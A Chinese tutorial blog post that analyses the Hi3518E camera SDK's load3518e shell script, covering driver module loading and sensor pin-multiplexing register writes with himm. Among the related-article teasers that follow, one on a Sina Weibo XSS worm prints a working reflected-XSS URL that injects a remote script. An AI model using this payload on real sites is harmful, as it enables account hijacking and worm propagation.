第4季3:Hi3518e的sensor接口引脚复用设置(load3518e文件)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。

在第2、3季的内容中,在板载系统的配置脚本即/etc/profile文件中,都有如下这句代码:

./load3518e -i -sensor ar0130 -osmem 32 -total 64

在第4季1:将AR0130摄像头更换为OV9712摄像头中提到,Hi3518E_SDK_V1.0.3.0/mpp/ko目录下的load3518e文件是一个shell脚本,主要用来设置Hi3518E的引脚中那些与sensor有关的引脚的复用。

本文将详细分析 load3518e 这个脚本文件的内容,尤其是设置引脚复用的方法。

一、分析load3518e文件

(1)首先定义了一些变量:

#!/bin/shSNS_TYPE=ar0230             # sensor type
mem_total=64;               # 64M, total mem
mem_start=0x80000000;       # phy mem start
os_mem_size=32;             # 32M, os mem
mmz_start=0x82000000;       # mmz start addr
mmz_size=32M;               # 32M, mmz size

(2)然后定义了一些函数:

(3)然后通过判断一些变量的值来决定是否执行(2)中的某些函数:

 

重点关注一下insert_ko函数,当在板载系统的/etc/profile文件中执行load3518e脚本时,如果参数中有“ -i ”选项,则“for arg in $@”这段代码会将变量b_arg_insmod赋值为1,则会执行insert_ko函数。

我们来看一下insert_ko函数中的内容,主要完成一些驱动模块即ko文件的安装。在安装这些驱动模块的时候,会显示一些安装信息,这也就是为啥执行load3518e脚本时,SCRT上显示诸多信息的原因,“==== Your input Sensor type is ar0130 ====”也是在这函数中打印的。

insert_ko()
{# sys configsys_config;# driver loadinsmod mmz.ko mmz=anonymous,0,$mmz_start,$mmz_size anony=1 || report_errorinsmod hi_media.koinsmod hi3518e_base.koinsmod hi3518e_sys.ko vi_vpss_online=$b_arg_online sensor=$SNS_TYPEif [[ $? -ne 0 ]]; then exit;fi  insmod hi3518e_tde.koinsmod hi3518e_region.koinsmod hi3518e_vgs.koinsert_isp;insmod hi3518e_viu.ko detect_err_frame=10;insmod hi3518e_vpss.ko rfr_frame_comp=1;insmod hi3518e_vou.ko#insmod hi3518e_vou.ko transparentTransmit=1 #enable transparentTransmitinsmod hifb.ko video="hifb:vram0_size:1620"     # default palinsmod hi3518e_rc.koinsmod hi3518e_venc.ko insmod hi3518e_chnl.ko ChnlLowPower=1insmod hi3518e_h264e.koinsmod hi3518e_jpege.koinsmod hi3518e_ive.ko save_power=0;
#	insmod hi3518e_ive.ko	insmod extdrv/sensor_i2c.koecho "==== Your input Sensor type is $SNS_TYPE ===="insmod extdrv/pwm.koinsmod extdrv/piris.ko#insert_sns > /dev/null
#重点关注一些insert_sns这个函数insert_snsinsert_audioinsmod hi_mipi.koecho "==== Your input Sensor type is $SNS_TYPE ===="
}

(4)在insert_ko函数的内容中,我们重点关注一下insert_sns这个函数,因为它涉及到本文主题即如何设置引脚复用的内容。insert_sns函数的内容如下所示。从中可知,该函数会根据sensor的不同型号来执行不同的操作,这里的操作主要是设置Hi3518e和sensor之间的引脚复用,其中用到了海思自己的设置工具himm,比如“himm 0x200f0040 0x2”表示将地址为0x200f0040的寄存器的值设置为0x2。

insert_sns()
{case $SNS_TYPE inar0130|9m034)himm 0x200f0040 0x2;                            # I2C0_SCLhimm 0x200f0044 0x2;                            # I2C0_SDA#cmos pinmuxhimm 0x200f007c 0x1;                            # VI_DATA13himm 0x200f0080 0x1;                            # VI_DATA10himm 0x200f0084 0x1;                            # VI_DATA12himm 0x200f0088 0x1;                            # VI_DATA11himm 0x200f008c 0x2;                            # VI_VShimm 0x200f0090 0x2;                            # VI_HShimm 0x200f0094 0x1;                            # VI_DATA9himm 0x2003002c 0xb4001;                        # sensor unreset, clk 27MHz, VI 99MHz;;#省略部分代码ov9712)himm 0x200f0040 0x2;                            # I2C0_SCLhimm 0x200f0044 0x2;                            # I2C0_SDA#cmos pinmuxhimm 0x200f007c 0x1;                            # VI_DATA13himm 0x200f0080 0x1;                            # VI_DATA10himm 0x200f0084 0x1;                            # VI_DATA12himm 0x200f0088 0x1;                            # VI_DATA11himm 0x200f008c 0x2;                            # VI_VShimm 0x200f0090 0x2;                            # VI_HShimm 0x200f0094 0x1;                            # VI_DATA9himm 0x2003002c 0xc4001;                        # sensor unreset, clk 24MHz, VI 99MHz;;#省略部分代码
}

二、设置引脚复用的方法

引脚资源是有限的,需要根据情况进行引脚复用,即一个引脚可能具备诸多功能,需要根据实际情况来设置这个引脚的功能。如何设置引脚复用呢?不同的SoC可能有不同的设置方法,比如S5PV210使用专门的控制寄存器来配置某个引脚的作用,其实Hi3518E也是如此。

一般设置引脚复用的步骤如下。

(1)查看引脚定义框图

比如在《Hi3518EV20X/Hi3516CV200经济型HD IP Camera Soc用户指南》文档中,大概第37页的地方有如下的内容。这图是这样理解的:物理引脚A1的功能(之一)是VSS;物理引脚C4的功能(之一)是JTAG_TDO……

接下来我们看一下Hi3518E的开发板原理图。比如在开发板原理图中查看引脚C4,如下所示。该引脚功能之一是JTAG_TDO,其他的功能有SPI1_SDO、I2C1_SDA、GPIO7_0。

(2)找到配置这个引脚功能的设置寄存器

比如我们想配置C4引脚的复用功能。我们在《Hi3518EV20X/Hi3516CV200经济型HD IP Camera Soc用户指南》文档中搜索“C4”或者“JTAG_TDO”,找到相关的描述如下,可以得知设置C4这个引脚复用功能的寄存器是PADCTRL_REG67 。

我们在文档中搜索“PADCTRL_REG67 ”,可以得知这个寄存器的地址(基址+偏移地址)为0x200F_090C。

 

 我们点击该寄存器的页码,可以得知这个寄存器的bit设置含义。

(3)利用himm工具设置寄存器的值

在步骤(2)中,我们得知设置C4这个引脚复用功能的寄存器的信息,包括寄存器的名字、寄存器的地址、寄存器的bit含义。根据这些信息,我们可以利用海思提供的himm命令(这个命令已经部署在根文件系统中,直接使用即可)对寄存器进行赋值操作,进而配置这个引脚起什么作用。

比如load3518e文件中的insert_sns函数里,就利用himm命令对相关引脚的复用功能进行了配置。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460483.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

iOS游戏开发 几个有利工具

2019独角兽企业重金招聘Python工程师标准>>> iOS游戏开发 几个有利工具 本文介绍的是iOS游戏开发 几个有利工具,为友们介绍几款开发工具,游戏爱好者记住了!先来看内容。 AD: iOS游戏开发 几个有利工具是本文要介绍的内…

关于editor网页编辑器ueditor.config.js 配置图片上传

最近公司项目在做一个门户网站,其中新闻和简介等部分使用到了ueditor编辑器,但是上级明确指示需要图片上传这个功能,这时却发现图片上传功能不能正常使用,上传时一直报错,网上收了好几个处理办法,都说的不够…

[歪谈]拽一个贵人出来给你当炮架子

[歪谈]拽一个贵人出来给你"当炮架子" 我们在古装神话剧中经常会听到某个“先知”对前来算命的人说:你会在某某时刻遇到你的贵人。而这个贵人会在事业上助你一臂之力。 这里有个问题:贵人到底是什么?我们怎样去寻找我们的贵人。 前几…

第6季1:H264编码原理与基本概念

以下内容源于网络资源的学习与整理,如有侵权请告知删除。 参考博客 (1)H264 编码基本原理_ByteSaid的博客-CSDN博客_h264编码原理 (2)H264 编码简介_mydear_11000的博客-CSDN博客 (3)什么是I帧…

pureMVC简单示例及其原理讲解四(Controller层)

本节将讲述pureMVC示例中的Controller层。 Controller层有以下文件组成: AddUserCommand.asDeleteUserCommand.asModelPrepCommand.asViewPrepCommand.asStartupCommand.asAddUserCommand 。顾名思义,它是添加用户命令。让我们首先看看代码。 Addusercom…

ActiveMQ学习笔记(2)——JMS消息模型

2019独角兽企业重金招聘Python工程师标准>>> 1.1 JMS模型简介 JMS支持两种消息通信模型: 点对点模型(Point to Point,P2P)发布者/订阅者模型(publish/subscribe, pub/sub)P2P模型中,Sender把一…

C# 图片盖章功能实现,支持拖拽-旋转-放缩-保存

实现图片盖章功能,在图片上点击,增加“图章”小图片,可以拖拽“图章”到任意位置,也可以点击图章右下角园框,令图片跟着鼠标旋转和放缩。 操作方法:1.点击增加“图章”2.选中移动图标3.点中右下角放缩旋转图…

【一周一算法】算法2:邻居好说话——冒泡排序

【啊哈!算法】    简化版的桶排序不仅仅有上一节所遗留的问题,更要命的是:它非常浪费空间!例如需要排序数的范围是0~2100000000之间,那你则需要申请2100000001个变量,也就是说要写成int a[2100000001]。…

用TextPaint来绘制文字

TextPaint是paint的子类,用它可以很方便的进行文字的绘制,一般情况下遇到绘制文字的需求时,我们一般用TextPaint所提供的方法。开始学习如何绘制文字之前,我们必须要先了解下android中文字是怎么绘制到屏幕上的,文字的…

存储过程——介绍(一)

由于工作缘故,在工作中用到储存过程较少,在下班之余出于对学习的热情,以下分享下学习储存过程心得,往大牛们指点迷津: 储存过程:官方解释为可以将一些预先编译的sql语句集中起来有sql service数据库服务器来…

第二季5:配置视频捕获模块(step3:VI模块)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“配置视频捕获模块”。 分析方法上,我们首先介绍VI模块相关的宽动态、设备、通道等概念,然后…

简化Java中的异常处理

为什么80%的码农都做不了架构师?>>> #1. 不需要Checked异常 Java中的Checked异常,可以说有弊无利,它除了能带来一系列的麻烦,能干的事情Unchecked异常都能干。 ##1.1. 代码污染 首先,当一个方法声明抛出一…

Linux常用命令之wget

wget:从网络上下载文件到当前目录。 转载于:https://www.cnblogs.com/nufangrensheng/p/3646055.html

Serv-U搭建FTP服务器

1、打开软件,勾选start automatically 2、点击domain,新建domain 3、依次输入IP、端口号、域名、域名类型 完成后的样子 4、右键单击Users,新建用户。依次输入用户名、Home目录、用户密码。 如果需要创建匿名账户,则用户名用Anony…

第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。 我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,…

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …